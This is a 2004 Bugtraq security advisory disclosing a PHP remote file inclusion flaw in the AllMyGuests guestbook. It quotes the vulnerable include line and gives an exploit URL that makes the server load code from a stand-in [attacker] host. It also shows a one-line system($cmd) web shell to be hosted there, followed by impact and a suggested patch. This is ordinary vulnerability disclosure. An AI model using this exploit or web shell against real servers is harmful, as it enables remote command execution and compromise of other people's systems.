Bugtraq: AllMyGuests PHP Code Injection vulnerability

[Pablo Santana <m4dsk4t3r () hotmail com>]

******** AllMyGuests PHP Code Injection vulnerability ********

Product : AllMyGuests
Vendor : www.php-resource.net
Date : February 14, 2004
Problem : PHP Code Injection
Vendor Contacted ? : No

************************** Source ****************************

in /include/info.inc.php

--------------------------------------------------------------

$AMG_info_get = require_once("$_AMGconfig[cfg_serverpath]"."/include/template.inc.php");

--------------------------------------------------------------

************************** Exploit ***************************

http://[target]/allmylinks/include/info.inc.php?_AMGconfig[cfg_serverpath]=http://[attacker]/&cmd=uname%20-a

in http://[attacker]/include/template.inc.php have :

------------------------

<?
system($cmd);
?>

------------------------

************************** Impact ****************************

Malicious user execute arbitrary commands on the server .

************************* Solution ***************************

in /include/info.inc.php replace 

$AMG_info_get = require_once("$_AMGconfig[cfg_serverpath]"."/include/template.inc.php");


for


if (isset($_AMGconfig[cfg_serverpath])){
  die("Don\'t Hack it :)");
}

$AMG_info_get = require_once("$_AMGconfig[cfg_serverpath]"."/include/template.inc.php"); 

************************** Credits ****************************

bnfx : bnfx () antisocial com

Mad_Skater : m4dsk4t3r () hotmail com

TechTeam Brazilian Crew .